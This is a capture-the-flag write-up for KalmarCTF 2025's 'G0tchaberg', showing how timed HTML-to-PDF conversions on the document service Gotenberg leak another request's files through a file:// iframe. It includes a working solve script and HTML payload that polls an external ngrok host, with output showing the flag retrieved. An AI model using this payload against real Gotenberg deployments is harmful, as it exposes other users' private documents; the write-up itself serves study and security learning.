siunam's Website

My personal website

Home Writeups Research Blog Projects About

G0tchaberg

Table of Contents

Overview

Background

Can you steal the flag, even though I'm using the latest version of https://github.com/gotenberg/gotenberg?

Enumeration

Index page:

When we go to the index page, it just says "Hey, Gotenberg has no UI, it's an API. Head to the documentation to learn how to interact with it 🚀". Hmm… It seems like this is a Docker container for Gotenberg.

Gotenberg provides a developer-friendly API to interact with powerful tools like Chromium and LibreOffice for converting numerous document formats (HTML, Markdown, Word, Excel, etc.) into PDF files, and more! - https://gotenberg.dev/

Let's check out this challenge's Gotenberg setup!

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/KalmarCTF-2025/web/G0tchaberg)-[2025.03.11|21:00:38(HKT)]
└> file g0tchaberg.zip 
g0tchaberg.zip: Zip archive data, at least v1.0 to extract, compression method=store
┌[siunam♥Mercury]-(~/ctf/KalmarCTF-2025/web/G0tchaberg)-[2025.03.11|21:00:40(HKT)]
└> unzip g0tchaberg.zip 
Archive:  g0tchaberg.zip
   creating: handout/
  inflating: handout/compose.yml     
   creating: handout/flagbot/
  inflating: handout/flagbot/entrypoint.sh  
  inflating: handout/flagbot/index.html  
  inflating: handout/flagbot/Dockerfile  

In handout/compose.yml, we can see that this challenge has 2 services: gotenberg and flagbot:

services:
  gotenberg:
    restart: unless-stopped
    image: gotenberg/gotenberg:latest # https://gotenberg.dev/
    ports:
      - "8642:3000"
    networks:
      - local

  flagbot:
    restart: unless-stopped
    build: ./flagbot
    depends_on:
      - gotenberg
    networks:
      - local

networks:
  local:

In service gotenberg, the Docker image is the official Gotenberg Docker image, and its version is the latest.

In service flagbot, the Docker image is built from handout/flagbot/Dockerfile:

FROM alpine:latest

RUN apk add --no-cache curl

WORKDIR /app

COPY entrypoint.sh index.html ./
RUN chmod +x entrypoint.sh

CMD ["./entrypoint.sh"]

Which uses the Alpine Linux Docker image. It also copies entrypoint.sh and index.html to directory /app, as well as runs the entrypoint.sh Bash script.

In handout/flagbot/entrypoint.sh, this Bash script will keep sending a POST request to the Gotenberg app's API endpoint /forms/chromium/convert/html every 5 seconds:

while true; do
    curl -s 'http://gotenberg:3000/forms/chromium/convert/html' --form 'files=@"index.html"' -o ./output.pdf
    sleep 5
done

According to Gotenberg's documentation, this POST route converts an HTML file into PDF using Chromium browser. In our case, the HTML file is handout/flagbot/index.html, which contains the flag:

<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Flag</title>
</head>
<body>
    <h1>Very private information!</h1>
    <h2>kalmar{test_flag}</h2>
</body>
</html>

Hmm… Does that mean we need to somehow read index.html or output.pdf file to get the flag?

Since service gotenberg and flagbot are different Docker container, we shouldn't be able to directly read index.html or output.pdf from service gotenberg.

Huh, maybe we can leak the file during the conversion?? Let's read Gotenberg's source code to have a better understanding in this!

In pkg/modules/chromium/routes.go line 382 - 412, POST route /forms/chromium/convert/html will create a new API Context object instance and call function convertUrl:

func convertHtmlRoute(chromium Api, engine gotenberg.PdfEngine) api.Route {
    return api.Route{
        Method:      http.MethodPost,
        Path:        "/forms/chromium/convert/html",
        IsMultipart: true,
        Handler: func(c echo.Context) error {
            ctx := c.Get("context").(*api.Context)
            [...]
            err = convertUrl(ctx, chromium, engine, url, options, mode, pdfFormats, metadata)
            if err != nil {
                return fmt.Errorf("convert HTML to PDF: %w", err)
            }

            return nil
        },
    }
}

In function convertUrl, it'll generate a path with extension .pdf by calling method GeneratePath: (pkg/modules/chromium/routes.go line 600)

func convertUrl(ctx *api.Context, chromium Api, engine gotenberg.PdfEngine, url string, options PdfOptions, mode gotenberg.SplitMode, pdfFormats gotenberg.PdfFormats, metadata map[string]interface{}) error {
    outputPath := ctx.GeneratePath(".pdf")
    [...]
}

Method GeneratePath: (pkg/modules/api/context.go line 406 - 410)

// GeneratePath generates a path within the context's working directory.
// It generates a new UUID-based filename. It does not create a file.
func (ctx *Context) GeneratePath(extension string) string {
    return fmt.Sprintf("%s/%s%s", ctx.dirPath, uuid.New().String(), extension)
}

As the comment suggested, it generates a path within the context's working directory, something like <ctx.dirPath>/<random_UUID><extension>.

Hmm… What's that dirPath attribute?

When a new Context object is initialized, it'll call method newContext, which ultimately calls a wrapper function MkdirAll from gotenberg.FileSystem: (pkg/modules/api/context.go line 179 - 184)

func newContext(echoCtx echo.Context, logger *zap.Logger, fs *gotenberg.FileSystem, timeout time.Duration, bodyLimit int64, downloadFromCfg downloadFromConfig, traceHeader, trace string) (*Context, context.CancelFunc, error) {
    [...]
    dirPath, err := fs.MkdirAll()
    [...]
    ctx.dirPath = dirPath
    [...]
}

In function MkdirAll, it basically creates a temporary directory at path /tmp/<fs.workingDir>/<random_UUID>, where fs.workingDir is a random UUID string: (pkg/gotenberg/fs.go line 76 - 85)

// NewFileSystem initializes a new [FileSystem] instance with a unique working
// directory.
func NewFileSystem(mkdirAll MkdirAll) *FileSystem {
    return &FileSystem{
        workingDir: uuid.NewString(),
        mkdirAll:   mkdirAll,
    }
}
[...]
// WorkingDirPath constructs and returns the full path to the working directory
// inside the system's temporary directory.
func (fs *FileSystem) WorkingDirPath() string {
    return fmt.Sprintf("%s/%s", os.TempDir(), fs.workingDir)
}

// NewDirPath generates a new unique path for a directory inside the working
// directory.
func (fs *FileSystem) NewDirPath() string {
    return fmt.Sprintf("%s/%s", fs.WorkingDirPath(), uuid.NewString())
}

// MkdirAll creates a new unique directory inside the working directory and
// returns its path. If the directory creation fails, an error is returned.
func (fs *FileSystem) MkdirAll() (string, error) {
    path := fs.NewDirPath()

    err := fs.mkdirAll.MkdirAll(path, 0o755)
    if err != nil {
        return "", fmt.Errorf("create directory %s: %w", path, err)
    }

    return path, nil
}

Therefore, method GeneratePath will return a path like this: /tmp/<fs.workingDir>/<random_UUID>/<random_UUID><extension>.

In fact, we can also confirm this via finding a PDF file inside the Docker container:

┌[siunam♥Mercury]-(~/ctf/KalmarCTF-2025/web/G0tchaberg)-[2025.03.11|21:57:11(HKT)]
└> docker compose up -d --build
[...]
┌[siunam♥Mercury]-(~/ctf/KalmarCTF-2025/web/G0tchaberg)-[2025.03.11|21:57:13(HKT)]
└> docker container ls         
CONTAINER ID   IMAGE                        COMMAND                  CREATED          STATUS          PORTS                                         NAMES
[...]
ebfb21d3ddb9   gotenberg/gotenberg:latest   "/usr/bin/tini -- go…"   45 minutes ago   Up 45 minutes   0.0.0.0:8642->3000/tcp, [::]:8642->3000/tcp   handout-gotenberg-1
┌[siunam♥Mercury]-(~/ctf/KalmarCTF-2025/web/G0tchaberg)-[2025.03.11|21:57:17(HKT)]
└> docker exec -it ebfb21d3ddb9 /bin/bash
gotenberg@ebfb21d3ddb9:~$ cd /tmp
gotenberg@ebfb21d3ddb9:/tmp$ while true; do find . -name "*.pdf" 2>/dev/null; done
./f2a92410-c4fc-41e2-9c06-0428e25570c2/050ad6a6-bd7f-43ca-bdc0-f8ed2daa3506/9bcd13ac-d557-4478-b2f8-ee68b36c9db8.pdf
./f2a92410-c4fc-41e2-9c06-0428e25570c2/f7ec2f7a-6437-46d1-9b57-9037710d02bb/01567e4f-76a5-4c39-9135-3ecb0f8e58e6.pdf

Hmm… How about the index.html file? What's the path of that file?

Back in the function convertHtmlRoute, the convert URL is actually file://index.html: (pkg/modules/chromium/routes.go line 402)

func convertHtmlRoute(chromium Api, engine gotenberg.PdfEngine) api.Route {
    return api.Route{
        Method:      http.MethodPost,
        Path:        "/forms/chromium/convert/html",
        IsMultipart: true,
        Handler: func(c echo.Context) error {
            [...]
            var inputPath string
            err := form.
                MandatoryPath("index.html", &inputPath).
                Validate()
            if err != nil {
                return fmt.Errorf("validate form data: %w", err)
            }

            url := fmt.Sprintf("file://%s", inputPath)
            [...]
        },
    }
}

Now, instead of reading the source code to figure the index.html file's path, we can just use grep in the container:

gotenberg@ebfb21d3ddb9:/tmp$ while true; do grep -r "kalmar{" 2>/dev/null; done
f2a92410-c4fc-41e2-9c06-0428e25570c2/d2318c8a-41ce-4632-bbbe-ae630551d804/index.html:    <h2>kalmar{test_flag}</h2>
f2a92410-c4fc-41e2-9c06-0428e25570c2/d2318c8a-41ce-4632-bbbe-ae630551d804/index.html:    <h2>kalmar{test_flag}</h2>
f2a92410-c4fc-41e2-9c06-0428e25570c2/d2318c8a-41ce-4632-bbbe-ae630551d804/index.html:    <h2>kalmar{test_flag}</h2>
f2a92410-c4fc-41e2-9c06-0428e25570c2/d2318c8a-41ce-4632-bbbe-ae630551d804/index.html:    <h2>kalmar{test_flag}</h2>

It seems like the index.html file is at path /tmp/<fs.workingDir>/<random_UUID>/index.html.

Huh, can we somehow read the index.html file via leaking fs.workingDir and random_UUID file? Maybe. Also, we're not going to read the PDF file, as it requires an extra step to leak the random UUID PDF filename.

Since Gotenberg's Chromium browser enable JavaScript by default (Flag --chromium-disable-javascript is set to false), we can leverage something like HTML tag <iframe> and JavaScript to leak those UUID strings.

For example, we can use JavaScript's window.location to leak the current URL. Remember, the Chromium browser's URL is file://index.html, which is path /tmp/<fs.workingDir>/<random_UUID>/index.html. Also, since the Location object is not a part of the browser sandbox, we can read its value:

<p id="path"></p>

<script>
const currentPath = window.location.pathname;
path.innerText = `Current path: ${currentPath}`;
</script>

If we convert the above index.html file into a PDF file via POST route /forms/chromium/convert/html, we can leak the current URL pathname:

┌[siunam♥Mercury]-(~/ctf/KalmarCTF-2025/web/G0tchaberg)-[2025.03.11|22:33:40(HKT)]
└> curl -s \
--request POST http://localhost:8642/forms/chromium/convert/html \
--form files=@index.html \
-o output.pdf

Now we successfully leaked fs.workingDir! In my case, it's f2a92410-c4fc-41e2-9c06-0428e25570c2.

But wait, how can we also leak the random UUID string? Each conversion will generate a different UUID string!

To do so, we can use <iframe> HTML element to embed that leaked fs.workingDir path: (or using <meta> tag to redirect that path)

<p id="path"></p>
<p id="fsWorkingDir"></p>
<iframe id="frame" width="100%" height="300px"></iframe>

<script>
const currentPath = window.location.pathname;
path.innerText = `Current path: ${currentPath}`;
const workingDirectory = currentPath.split('/')[2];
fsWorkingDir.innerText = `fs.workingDir = ${workingDirectory}`;

frame.src = `file:///tmp/${workingDirectory}/`;
</script>

Note that we can't access to the <iframe>'s DOM due to Same Origin Policy (SOP).

Hmm… Is it possible to time the conversion so that the flag index.html's random UUID will be appeared in here?? It seems very impractical.

After reading Gotenberg's documentation, I noticed this: Wait Before Rendering. Basically, in all API routes, they accept form field key waitDelay and waitForExpression. In waitDelay, it allows us to delay a given amount of seconds, then convert the HTML file into PDF. For waitForExpression, it first waits for the given JavaScript expression to return true, then convert the file into PDF.

Ah ha! Maybe we can time the delay perfectly, so that the flag index.html's random UUID will be appeared in the <iframe>.

Also, since the <iframe> won't be reloaded when there are changes inside the <iframe>, we need to find a way to reload the <iframe>'s content. After some Googling, this StackOverflow answer can solve that problem by appending the src attribute with an empty string:

<p id="path"></p>
<p id="fsWorkingDir"></p>
<iframe id="frame" width="100%" height="300px"></iframe>

<script>
const currentPath = window.location.pathname;
path.innerText = `Current path: ${currentPath}`;
const workingDirectory = currentPath.split('/')[2];
fsWorkingDir.innerText = `fs.workingDir = ${workingDirectory}`;

frame.src = `file:///tmp/${workingDirectory}/`;
setInterval(() => {
  frame.src += '';
}, 1000);
</script>

Let's try to delay 5 seconds:

┌[siunam♥Mercury]-(~/ctf/KalmarCTF-2025/web/G0tchaberg)-[2025.03.11|23:03:11(HKT)]
└> curl -s \
--request POST http://localhost:8642/forms/chromium/convert/html \
--form files=@index.html \
--form waitDelay=5s \
-o output.pdf

Wait, it worked in the first try? As you can see, e0842b88-7f3d-4f51-b3a8-50bb510ba643 is our current random UUID, and 72dad5e9-2ee5-4472-acc8-4547787a3f74 is the flag one.

If we try to keep grep'ing the string kalmar{ during the delay, we can see that the flag index.html will not be deleted:

gotenberg@ebfb21d3ddb9:/tmp$ while true; do grep -r "kalmar{" 2>/dev/null; done
f2a92410-c4fc-41e2-9c06-0428e25570c2/358fc749-d37b-45af-bc49-326af92adf92/index.html:    <h2>kalmar{test_flag}</h2>
f2a92410-c4fc-41e2-9c06-0428e25570c2/358fc749-d37b-45af-bc49-326af92adf92/index.html:    <h2>kalmar{test_flag}</h2>
f2a92410-c4fc-41e2-9c06-0428e25570c2/358fc749-d37b-45af-bc49-326af92adf92/index.html:    <h2>kalmar{test_flag}</h2>
f2a92410-c4fc-41e2-9c06-0428e25570c2/358fc749-d37b-45af-bc49-326af92adf92/index.html:    <h2>kalmar{test_flag}</h2>
[...]
f2a92410-c4fc-41e2-9c06-0428e25570c2/358fc749-d37b-45af-bc49-326af92adf92/index.html:    <h2>kalmar{test_flag}</h2>
f2a92410-c4fc-41e2-9c06-0428e25570c2/358fc749-d37b-45af-bc49-326af92adf92/index.html:    <h2>kalmar{test_flag}</h2>

Turns out, Gotenberg will run each process in a queue:

func convertUrl(ctx *api.Context, chromium Api, engine gotenberg.PdfEngine, url string, options PdfOptions, mode gotenberg.SplitMode, pdfFormats gotenberg.PdfFormats, metadata map[string]interface{}) error {
    [...]
    err := chromium.Pdf(ctx, ctx.Log(), url, outputPath, options)
    [...]
}
// Pdf converts a URL to PDF.
func (mod *Chromium) Pdf(ctx context.Context, logger *zap.Logger, url, outputPath string, options PdfOptions) error {
    [...]
    return mod.supervisor.Run(ctx, logger, func() error {
        [...]
    })
}
func (s *processSupervisor) Run(ctx context.Context, logger *zap.Logger, task func() error) error {
    [...]
    currentQueueSize := s.reqQueueSize.Load()
    if s.maxQueueSize > 0 && currentQueueSize >= s.maxQueueSize {
        return ErrMaximumQueueSizeExceeded
    }

    s.reqQueueSize.Add(1)
    [...]
}

In here, each process will be executing based on FCFS (First Come First Served) scheduling algorithm. (Yes, this is a computer science concept.)

So, the reason why we leaked the flag's random UUID is because our delayed process is the first process. Then, during the delay, the flag process is in the second queue, which will then be executed after finishing our delayed process:

Therefore, we can leak the flag's random UUID via form field key waitDelay or waitForExpression!

Now, how can we read the flag process's index.html file after leaking all of those things? Simple! We can just change the <iframe>'s src attribute to the correct path. Or, redirect the browser to that path.

But wait, how should we change the src attribute to the correct path? We can't use JavaScript to read the contents of the <iframe> because of SOP.

Well, we can first leak the correct path in the first conversion. Then, before the second conversion, we type or copy and paste the correct path to index.html <iframe>'s src attribute. Although that's a little bit troublesome, it'll do the job. Or, instead of manually providing the correct path, we can use tools like pdftotext to extract the text from the PDF file.

However, this approach has 1 problem: After finishing the first conversion, the flag process's queue will be executed. Because of this, the flag index.html file during the second conversion will be deleted.

To solve this problem, we can use fetch to dynamically get the correct path:

<p id="path"></p>
<p id="fsWorkingDir"></p>
<iframe id="frame" width="100%" height="300px"></iframe>

<script>
const currentPath = window.location.pathname;
path.innerText = `Current path: ${currentPath}`;
const workingDirectory = currentPath.split('/')[2];
fsWorkingDir.innerText = `fs.workingDir = ${workingDirectory}`;

frame.src = `file:///tmp/${workingDirectory}/`;
var flagFilePath;
setInterval(() => {
  frame.src += '';

  fetch(`http://0.tcp.ap.ngrok.io:13785/flag?path=${flagFilePath}`)
    .then(response => {
      return response.text();
    })
    .then(responseText => {
      flagFilePath = responseText;
      if (flagFilePath !== '') {
        frame.src = `file:///tmp/${workingDirectory}/${flagFilePath}/index.html`;
      }
    });
}, 1000);
</script>

Our Python Flask web application:

#!/usr/bin/env python3
from flask import Flask
from flask_cors import CORS
from os import getenv

app = Flask(__name__)
cors = CORS(app)

@app.route('/flag')
def flag():
    flagFilePath = '' # modify this with the correct flag path when you leaked it
    return flagFilePath

if __name__ == '__main__':
    app.run('0.0.0.0', debug=True)

Now, we can send the both conversion processes at the same time. That way, the flag process will be executed after finishing the second conversion.

Exploitation

Armed with above information, we can follow these steps to read the flag:

  1. Send the these 2 requests:
    • First, convert our HTML file into PDF with 6 seconds delay leaking the correct flag path (6 seconds is because we can make sure the flag conversion process must be in the ready queue.)
    • Then, convert our HTML file into PDF with ~20 seconds delay reading the flag conversion's index.html file (If the delay is more than 30 seconds, Gotenberg will time out the process. And the ~20 seconds delay is to give yourself more time to provide the correct path.)
  2. After finishing the first request, we immediately extract the text from the PDF file and get the correct flag path
  3. Provide the correct flag path in our web server
  4. Wait for the second request finished, and read the converted PDF file's flag

To automate the above steps, I've written the following Python solve script:

solve.py
#!/usr/bin/env python3
import requests
import os
import shutil
import re
import dateutil
import dateutil.parser
import time
from flask import Flask
from flask_cors import CORS
from threading import Thread
from pypdf import PdfReader

app = Flask(__name__)
cors = CORS(app)
flagUuid = ''

@app.route('/flag')
def flag():
    return flagUuid

class Solver:
    def __init__(self, baseUrl):
        self.baseUrl = baseUrl
        self.OUTPUT_PATH = './output'
        self.CONVERT_HTML_TO_PDF_ENDPOINT = '/forms/chromium/convert/html'
        self.UUIDv4_REGEX_PATTERN = re.compile(r'([0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[0-9a-f]{4}-[0-9a-f]{12})')
        self.FLAG_REGEX_PATTERN = re.compile(r'(kalmar{.*})')
        self.LEAK_FLAG_PATH_DELAY_SECOND = 6
        self.READ_FLAG_PATH_DELAY_SECOND = 5

    def runWebServer(self):
        thread = Thread(target=app.run, args=('0.0.0.0',))
        thread.start()
        return thread

    def convertFromHtmlToPdf(self, delaySecond, outputFilename):
        data = { 'waitDelay': f'{delaySecond}s' }
        file = { 'files': open('index.html', 'r') }
        
        response = requests.post(f'{self.baseUrl}{self.CONVERT_HTML_TO_PDF_ENDPOINT}', files=file, data=data)
        with open(f'{self.OUTPUT_PATH}/{outputFilename}', 'wb') as file:
            file.write(response.content)

    def convertFromHtmlToPdfWorker(self, delaySecond, outputFilename):
        thread = Thread(target=self.convertFromHtmlToPdf, args=(delaySecond, outputFilename))
        thread.start()
        return thread

    def convertPdftoText(self, pdfFilename):
        while True:
            try:
                reader = PdfReader(f'{self.OUTPUT_PATH}/{pdfFilename}')
                break
            except FileNotFoundError:
                time.sleep(0.5)

        return reader.pages[0].extract_text()
    
    def getFlagUuid(self, text):
        lines = text.split('\n')
        if len(lines) == 1:
            print('[-] The first conversion didnt work, as the iframe is empty. Please run the script again.')
            exit(1)
        
        currentConversionUuid = lines[0].split('/')[3].replace(' ', '')
        print(f'[+] Current conversion UUID: {currentConversionUuid}')

        possibleFlagUuids = list()
        for line in lines[4:]:
            match = self.UUIDv4_REGEX_PATTERN.search(line)
            if match is None:
                continue

            uuid = match.group(1)
            if uuid == currentConversionUuid:
                continue

            try:
                parsedDatetime = dateutil.parser.parse(''.join(line.split(' ')[1:]).replace(',', ' '))
            except:
                print(f'[-] Unable to parse possible flag UUID {uuid} date')
                continue

            formatedDate = parsedDatetime.strftime('%Y-%m-%d %H:%M:%S')
            print(f'[*] Possible flag UUID: {uuid} | Date: {formatedDate}')
            possibleFlagUuids.append({ 'uuid': uuid, 'datetimeObject': parsedDatetime })
        
        if len(possibleFlagUuids) == 0:
            print('[-] Possible flag UUID is not found')
            exit(1)
        if len(possibleFlagUuids) == 1:
            return possibleFlagUuids[0]['uuid']

        latestDatetimeUuid = max(possibleFlagUuids, key=lambda x: x['datetimeObject'])['uuid']
        print(f'[*] Selected UUID that has the latest modification date, as it is most likely is the flag process: {latestDatetimeUuid}')
        return latestDatetimeUuid

    def solve(self):
        global flagUuid

        shutil.rmtree(self.OUTPUT_PATH)
        os.mkdir(self.OUTPUT_PATH)

        webServerThread = self.runWebServer()

        pathThread = self.convertFromHtmlToPdfWorker(self.LEAK_FLAG_PATH_DELAY_SECOND, 'path.pdf')
        time.sleep(0.5) # avoid the second conversion is faster than the first one
        flagThread = self.convertFromHtmlToPdfWorker(self.READ_FLAG_PATH_DELAY_SECOND, 'flag.pdf')

        time.sleep(self.LEAK_FLAG_PATH_DELAY_SECOND)        
        text = self.convertPdftoText('path.pdf')
        flagUuid = self.getFlagUuid(text)

        time.sleep(self.READ_FLAG_PATH_DELAY_SECOND)
        flagText = self.convertPdftoText('flag.pdf')
        match = self.FLAG_REGEX_PATTERN.search(flagText)
        if match is None:
            print(f'[-] Unable to find the flag. Maybe we embeded the wrong flag path. Or, the PDF to text is messed up. Here\'s the converted text:\n{flagText}')
            exit(0)
        
        flag = match.group(1)
        print(f'[+] Flag: {flag}')

if __name__ == '__main__':
    # baseUrl = 'http://localhost:8642' # for local testing
    baseUrl = 'https://e325d8c821451a159d66c6ec18a0b8d5-57206.inst1.chal-kalmarc.tf'
    solver = Solver(baseUrl)

    solver.solve()
index.html
<p id="path"></p>
<p id="fsWorkingDir"></p>
<iframe id="frame" width="100%" height="300px"></iframe>

<script>
const currentPath = window.location.pathname;
path.innerText = `Current path: ${currentPath}`;
const workingDirectory = currentPath.split('/')[2];
fsWorkingDir.innerText = `fs.workingDir = ${workingDirectory}`;

frame.src = `file:///tmp/${workingDirectory}/`;
var flagFilePath;
setInterval(() => {
  frame.src += '';

  // change the URL to your own one
  fetch(`http://0.tcp.ap.ngrok.io:14502/flag?path=${flagFilePath}`)
    .then(response => {
      return response.text();
    })
    .then(responseText => {
      flagFilePath = responseText;
      if (flagFilePath !== '') {
        frame.src = `file:///tmp/${workingDirectory}/${flagFilePath}/index.html`;
      }
    });
}, 1000);
</script>
┌[siunam♥Mercury]-(~/ctf/KalmarCTF-2025/web/G0tchaberg)-[2025.03.12|20:56:01(HKT)]
└> ngrok tcp 5000
[...]
Forwarding                    tcp://0.tcp.ap.ngrok.io:14502 -> localhost:5000                               
[...]
┌[siunam♥Mercury]-(~/ctf/KalmarCTF-2025/web/G0tchaberg)-[2025.03.12|20:56:15(HKT)]
└> python3 solve.py
 * Serving Flask app 'solve'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:5000
 * Running on http://192.168.3.203:5000
Press CTRL+C to quit
127.0.0.1 - - [12/Mar/2025 20:56:18] "GET /flag?path=undefined HTTP/1.1" 200 -
127.0.0.1 - - [12/Mar/2025 20:56:19] "GET /flag?path= HTTP/1.1" 200 -
127.0.0.1 - - [12/Mar/2025 20:56:20] "GET /flag?path= HTTP/1.1" 200 -
127.0.0.1 - - [12/Mar/2025 20:56:21] "GET /flag?path= HTTP/1.1" 200 -
127.0.0.1 - - [12/Mar/2025 20:56:22] "GET /flag?path= HTTP/1.1" 200 -
[+] Current conversion UUID: 310f447e-eb2c-4af2-b881-99a03c8c2f7f
[*] Possible flag UUID: ae16d4c7-9ec8-4702-b682-caf7715ca2a5 | Date: 2025-03-12 12:56:20
[*] Possible flag UUID: c4d72581-6a9f-44c7-8f30-add862d99291 | Date: 2025-03-12 12:56:17
[*] Selected UUID that has the latest modification date, as it is most likely is the flag process: ae16d4c7-9ec8-4702-b682-caf7715ca2a5
127.0.0.1 - - [12/Mar/2025 20:56:24] "GET /flag?path=undefined HTTP/1.1" 200 -
127.0.0.1 - - [12/Mar/2025 20:56:25] "GET /flag?path=ae16d4c7-9ec8-4702-b682-caf7715ca2a5 HTTP/1.1" 200 -
127.0.0.1 - - [12/Mar/2025 20:56:26] "GET /flag?path=ae16d4c7-9ec8-4702-b682-caf7715ca2a5 HTTP/1.1" 200 -
127.0.0.1 - - [12/Mar/2025 20:56:27] "GET /flag?path=ae16d4c7-9ec8-4702-b682-caf7715ca2a5 HTTP/1.1" 200 -
[-] Unable to find the flag. Maybe we embeded the wrong flag path. Or, the PDF to text is messed up. Here's the converted text:
/tmp/3b7a0869-2137-4b1 1-a5ac-e51f7fe37e8b/c4d72581-6a9f-44c7-8f30-add862d99291/index.html
Very private information!
kalmar{g0tcha!_well_done_that_was_fun_wasn't_it?
_we_would_appr eciate_if_you_cr eate_a_ticket_with_your_solution}

Conclusion

What we've learned:

  1. Leak Gotenberg processing files via race condition